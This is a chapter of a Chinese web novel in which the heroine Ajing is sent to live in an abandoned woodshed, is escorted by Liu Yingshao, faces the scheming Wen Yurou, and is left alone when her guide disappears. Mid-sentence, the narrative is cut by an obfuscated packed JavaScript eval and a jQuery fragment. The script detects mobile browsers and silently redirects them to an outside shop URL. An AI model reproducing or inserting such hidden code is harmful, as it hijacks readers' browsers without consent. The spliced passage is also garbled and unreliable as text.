墨尘离开议事堂去禀告陈涤非后,刘英少陪着阿凝立在廊下,耐着性子等候答复。
二人一等便是许久,一直等到日影渐渐西斜。
不知过了多久,才有一名穿着寻常道服的小道匆匆从后山赶来,躬身行礼,带来了墨尘传回的消息。
“阿凝姑娘,黄门令大人派我过来传信,说是门主有令,姑娘居所另行调换。往后不必再回勤学馆玉兰舍,搬往后山柴房暂住。”
话音落下的刹那,廊下空气骤然一静。
刘英少脸色瞬间铁青,难以置信地上前一步,厉声追问:“柴房?哪一处的柴房?!”
那弟子规矩行礼,据实回道:“是上池斋配套的后山柴房,距门主居所半里之地,那里清净,离着上池斋也近便,只是素来无人居住,可能有些年久失修。”
这一处柴房,逍遥派旧人皆知来历。
早年陈涤非初入山门、尚未亲理起居之时,安平王府曾派来专职厨子随行照料饮食起居,那柴房便是当年厨子的落脚住处。
后来皇后娘娘排能干妥帖的内监墨尘接手了陈涤非所有起居琐事,王府下人尽数遣回,那片简陋屋舍便彻底闲置荒废,常年无人打理,日渐破败荒凉。
说是居所,实则不过是一处勉强遮风挡雨的破旧木屋,有些简陋家私,虽然东西齐全,却算不得正经住处,比起有专人管理的勤学馆舍房,可谓天地之别。
刘英少气得胸膛剧烈起伏,满眼皆是替阿凝抱不平的怒意。
在他眼中,阿凝分明是柔弱可欺负的那一方,这般处置,分明是责罚,是刻意冷落折辱!
“岂有此理!”刘英少压不住怒火,声音凛冽,“岂有此理,门主怎会如此处置?是不是黄门令大人念及出身偏袒她们?我要亲自去后山禀明门主——”
“不必。”
清冷轻柔的两个字,轻轻截断了他的怒火。
阿凝终于抬眸,眼底无半分委屈、无半分怨怼,只有一片沉静通透。她面色平和,甚至没有一丝波澜,对着传旨弟子轻轻颔首,温声应下:“我知道了,我即刻便搬过去。”
旁人不知她的过往,她昔日在天蚕山为婢,在成为吕九珍眼前的红人之前,她也曾跟着义父住过漏风潮冷的杂屋,吃的是残羹冷饭,她从小吃遍了苦,住柴房没有什么不好。
她是来解毒的,又不是来享福的。何况又不是一直住在这里,裴澈已经和她口盟了婚约,待到裴媛得到救治,她还要下山去做太守夫人呢。
起码,柴房里不必日日面对柳清婉、温雨柔一众女青衿的冷眼排挤、暗中算计,清净,便是最好的结果。
“刘公子,无妨。”阿凝声音轻软却坚定,眼底透亮清明,“柴房虽破,却清净自在,无人打扰。比起日日身处是非、受人欺凌,这里已是极好的去处。”
刘英少觉得阿凝简直是太逆来顺受了!都说红颜薄命,原来是说这么回事。怜香惜玉的心达到了顶点,刘英少对阿凝道:“就算是去,我也要护送你过去,好好收拾收拾再说。”
小道士催促道:“刘青衿、阿凝姑娘,太阳要落山了,要收拾就快些,贫道还要回去找长老做功课,晚了要受罚的。”
阿凝遂与刘英少一同往玉兰舍去了。
路上阿凝才想起来问刘英少:“刘公子,你今天没有课业嘛?这般陪我大半晌,长老院的师叔们,不会责罚你嘛?”
刘英少嘿嘿一笑:“今日是剑课,我不喜欢,就托他们给我告假了。”
她心心念念便是逍遥派正统剑法,此前好不容易借机向胡庸之开口求教,还未等来半分指点,便遭遇居所变动、接连事端,此刻听见剑课二字,心底瞬间燃起浓烈兴致。
只是她素来心思深沉,惯于藏拙,依旧是那副温顺恬淡、懵懂无争的模样,语气清淡随意,似是随口闲谈:“原来如此。逍遥派的剑课,想来定然是极精妙的。为了我耽误公子,实在过意不去。”
刘英少道:“哪有?我本来也不喜欢舞刀弄剑,其实我们俗家弟子,比不了那些从小在道长们门下出家的,武学还是要有些童子功,我们入门的时候都十四五岁才来到勤学馆,剑法大部分也是囫囵吞枣。你可别信胡庸之,他爹是个进士出身的读书人,懂个锤子剑法……”
或许觉得在美女面前爆粗口,有些不好意思,刘英少赶忙收声,不好意思笑道:“嘿嘿,我说话直,阿凝姑娘莫笑。”
阿凝柔情体贴状,赶紧说道:“怎么会,刘公子为人古道热肠,我感谢还来不及。”
一句话,又说的刘英少很是满足得意。他心想,可惜阿凝八成身在民籍,又没有什么家世,否则真想现在就修书给家里,下聘礼求娶她……
阿凝见刘英少得意,便趁热打铁问他:“既然男青衿们都不擅剑术,那么门内到底谁的剑法最高?是给你们上剑法课的温步青,温长老嘛?”
刘英少摇摇头:“温长老虽然剑术了得,那也是众人看在他人品德性的份上捧着他。我逍遥派万千弟子、无数长老,若论剑道造诣、天下执牛耳者,唯有门主一人而已。”
他压低声音,带着几分秘闻般的郑重,缓缓续道:“其实门主的剑法,我们也没怎么见过,他从不轻易出手,常年静坐后山清修,世人难窥其真实修为。可是去年,有一回也是得门主那日高兴,代替温长老给我们上了一堂剑术课,真真看得我们呆了。门主的剑法,行云流水、出神入化,举手投足便可撼山断河。那动作与精气神,真真绝代无双。”
阿凝点点头,两人与小道士从议事堂走回了勤学馆的舍房,玉兰舍里的人都去上课了,正好没有人在。
阿凝登上步梯,从衣柜里取出包袱,将裴澈日前送来的换洗衣服与她自己的几样简单用具收纳入内,就打算搬去后山的柴房居住。
好巧不巧,她拿出东西的时候,蹭开了一旁温雨柔的衣柜。一条眼熟的手绢,从里头掉落,手绢并不是她的,但是就是让她觉得似乎在哪里见过。
这条手绢上织就着蓝色云纹,看着不像是女子的东西。
阿凝下意识捡起来,捧在手里看了又看,想不起在哪里见过。她虽穷困,但也从不拿旁人的东西,就顺手放回了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617370|205106||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去。
刘英少不能去女舍,就在耳房等待阿凝。小道士连舍房也不愿意进去,就在外头院子等着阿凝。
这时候恰好温雨柔一个人归来,看到刘英少,很是讶然:“刘师兄,你怎么在这里?温长老正在给你们上剑术课,听说你又告假,已经有些生气了。你快些回去给长老请罪,把课业完成为好。”
刘英少一心只有阿凝,当然不想走,可是听到温长老震怒,心里又虚势下来,支支吾吾道:“我……我现在不方便去。”
他转念一想,温雨柔这时间也不该出现在舍房,就反问道:“你也告假了吗?这时候怎在这里。”
温雨柔指一指自己的鞋袜,都是湿的,她道:“方才在讲堂,夫子把茶水泼到我脚上了。回来换双鞋子,夫子允诺我的,片刻就回去了。”
阿凝这时候背着小包袱走了下来,看到温雨柔正在劝刘英少赶紧回去上剑术课,听了几句就知道怎么回事了。
她本就不喜欢被各种男人纠缠,于是也顺着温雨柔的话说道:“我自己搬走也无妨,还有小道长陪着我呢。刘公子莫要再为我耽搁,白白受师门责罚。还是尽快去上课吧。”
温雨柔听说阿凝要走,做出一副惋惜的神情,问道:“你要搬离玉兰舍,往后不再与我们同住了?”
阿凝轻轻颔首,神色平淡无波。
“真是太过可惜。只可惜我人微言轻,在师门之中毫无分量,先前看着你们争执纠葛,也只能眼睁睁看着,半点法子都没有,没能为你周全分毫。不知门派将你另行安置在了何处?但愿能清净安稳,无人叨扰。”
阿凝心底澄澈通透,早已看透温雨柔的真面目。此人和柳清婉本就是一路人,骨子里同样狭隘善妒、心机深沉,只不过更阴险虚伪。
阿凝不动声色,顺势垂下眼眸,摆出一副温顺弱势、受尽苛待的委屈模样,声音轻浅微弱:“是门主的旨意,命我搬去后山柴房居住。如此一来,往后便再也不会惊扰各位贵女,惹大家不快了。”
温雨柔心里滑过十足的快意,对阿凝假意关心道:“姑娘这般容貌性情,今后肯定会有大福报。上山路上一路小心啊,咱们肯定后会有期。”
阿凝没有半分留恋,跟着引路的小道士,两人一同离开舍房。
前山到后山的路,阿凝这几日已经走了好几回,向来真是时运曲折,为了早日解毒,恢复自由之身,这些苦头倒也不算什么。
此时日头彻底西沉,暮色四合,山间云雾沉沉,林间树影斑驳交错,将山路遮得幽暗幽深。前山弟子大多归舍休整,后山更是人迹罕至,一路静得只余风声叶响。
山道蜿蜒曲折,越往后走,草木愈密,人烟愈绝。
阿凝步履平稳,行走其间,神色依旧沉静。她早已察觉周遭氛围诡异寂静得过分,寻常山风鸟兽声尽数消弭,空气凝滞发冷,暗藏杀机,于是四处环顾。
待她回过头来,想问问小道士柴房还有多远,却突然发现一直走在前头的小道士就是在刹那之间,不见了踪影。
山谷空幽,只余下了阿凝一人……